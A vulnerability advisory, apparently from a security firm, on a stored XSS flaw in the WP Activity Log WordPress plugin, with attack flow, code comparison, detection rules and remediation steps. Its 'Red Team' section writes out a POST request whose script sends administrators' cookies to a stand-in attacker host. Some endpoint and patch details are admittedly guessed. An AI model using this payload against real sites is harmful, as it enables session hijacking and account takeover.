CVE-2025-0924

Executive Summary

CVE-2025-0924 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Activity Log plugin for WordPress, affecting all versions up to and including 5.2.2. The flaw resides in insufficient sanitization of the message parameter, allowing unauthenticated attackers to inject arbitrary web scripts. When a user (e.g., an administrator) accesses a page containing the injected payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered by simply viewing a log entry. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a ticking time bomb for unpatched installations.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The WP Activity Log plugin is distributed via the official WordPress plugin repository. Users should verify they are not running version 5.2.2 or earlier. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the injected page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. Although user interaction is required, the lack of authentication and the potential for privilege escalation via XSS make this a critical risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the message parameter used by the WP Activity Log plugin to store log entries. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the WordPress admin dashboard.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to the WordPress site, targeting an endpoint that accepts the message parameter (e.g., via REST API or direct POST).
2. The payload contains malicious JavaScript, e.g., <script>alert('XSS')</script>.
3. The plugin stores this payload in the wp_wsal_metadata or similar table.
4. When an administrator or any user with access to the Activity Log views the log entry, the script executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: The plugin uses esc_html() or similar functions inconsistently, or fails to apply output escaping when rendering the message field in the admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 5.2.2):

// In a log rendering function
echo '<td>' . $log_entry->message . '</td>';

The message field is output directly without escaping.

Patched Code (hypothetical):

echo '<td>' . esc_html( $log_entry->message ) . '</td>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Activity Log plugin version <= 5.2.2.
• Ability to send HTTP requests to the site (e.g., via curl or Burp Suite).

Exploit Steps:

1. Identify the endpoint that accepts the message parameter. This is often part of the plugin's REST API or AJAX handler.
2. Craft a POST request with the payload:

   POST /wp-json/wp-activity-log/v1/log HTTP/1.1
   Host: target-wordpress-site.com
   Content-Type: application/json
   
   {
     "message": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   }
   

3. Wait for an administrator to view the Activity Log page.
4. The script executes, sending the admin's cookies to the attacker's server.

Note: No public exploit code is available at this time.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /wp-json/wp-activity-log/v1/log or similar endpoints.
• Look for message parameters containing <script>, <img onerror=, or other XSS patterns.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Hardening:

• Immediately disable the WP Activity Log plugin if no patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict access to the WordPress admin dashboard to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-json/wp-activity-log/v1/log with suspicious message values.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• File IOCs:
  • Modified entries in the wp_wsal_metadata table containing JavaScript.
• Log IOCs:
  • Unexpected JavaScript code in Activity Log entries.

Detection Engineering

YARA Rule

rule CVE_2025_0924_WP_Activity_Log_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Activity Log plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0924"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Stored XSS via WP Activity Log Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-0924 by injecting XSS payloads into the message parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-json/wp-activity-log/v1/log'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in log messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0924 WP Activity Log Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/wp-activity-log/v1/log"; http_uri; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply virtual patching via WAF rules to block XSS payloads in the message parameter.
3. Review Activity Log entries for any suspicious content and remove them.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (expected > 5.2.2).
• Once available, update to the latest version immediately.
• Implement a WordPress security plugin that provides additional input validation.

Workaround:

• If the plugin cannot be disabled, restrict access to the WordPress admin dashboard using .htaccess or a security plugin.

Valters IT